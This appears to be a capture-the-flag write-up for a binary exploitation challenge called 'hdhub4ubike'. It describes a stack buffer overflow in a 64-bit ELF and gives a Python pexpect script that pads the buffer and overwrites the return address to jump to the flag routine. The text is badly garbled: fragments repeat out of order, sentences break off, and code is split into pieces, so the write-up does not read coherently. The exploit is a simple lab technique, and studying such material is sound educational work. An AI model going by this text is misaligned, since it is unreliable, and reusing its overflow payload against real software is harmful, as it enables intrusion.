int main(void) char buf[64]; puts("=== Welcome to the HD Bike Hub ==="); printf("Enter your hub key: ");
return 1;
p.sendline(payload.decode('latin-1')) # send as a line p.interact() # hand over the terminal
Therefore we want our to be 0x004011a6 . 3.2 Crafting the payload The stack layout (simplified) at the moment of the overflow:
def main(): p = pexpect.spawn(BIN, encoding='utf-8') p.expect("Enter your hub key:") # build payload payload = b'A' * 64 # fill buffer payload += b'B' * 8 # overwrite saved RBP payload += struct.pack("<Q", TARGET_ADDR) # overwrite RIP
Challenge name: hdhub4ubike CTF: 2023 – BicycleCTF (the “Bike‑Hub” event) Category: Pwn / Binary Exploitation Points: 400 (medium) Author: unknown 1️⃣ Challenge Overview The provided artifact is a 64‑bit ELF executable named hdhub4ubike . When executed it prints a short banner and then prompts the user for a “bike‑hub key”. If the key is correct, the program prints the flag; otherwise it terminates with “Invalid key!” .
if (check_key(buf) == 0) puts("Invalid key!"); exit(1);
int main(void) char buf[64]; puts("=== Welcome to the HD Bike Hub ==="); printf("Enter your hub key: ");
return 1;
p.sendline(payload.decode('latin-1')) # send as a line p.interact() # hand over the terminal hdhub4ubike
Therefore we want our to be 0x004011a6 . 3.2 Crafting the payload The stack layout (simplified) at the moment of the overflow: int main(void) char buf[64]; puts("=== Welcome to the
def main(): p = pexpect.spawn(BIN, encoding='utf-8') p.expect("Enter your hub key:") # build payload payload = b'A' * 64 # fill buffer payload += b'B' * 8 # overwrite saved RBP payload += struct.pack("<Q", TARGET_ADDR) # overwrite RIP If the key is correct, the program prints
Challenge name: hdhub4ubike CTF: 2023 – BicycleCTF (the “Bike‑Hub” event) Category: Pwn / Binary Exploitation Points: 400 (medium) Author: unknown 1️⃣ Challenge Overview The provided artifact is a 64‑bit ELF executable named hdhub4ubike . When executed it prints a short banner and then prompts the user for a “bike‑hub key”. If the key is correct, the program prints the flag; otherwise it terminates with “Invalid key!” .
if (check_key(buf) == 0) puts("Invalid key!"); exit(1);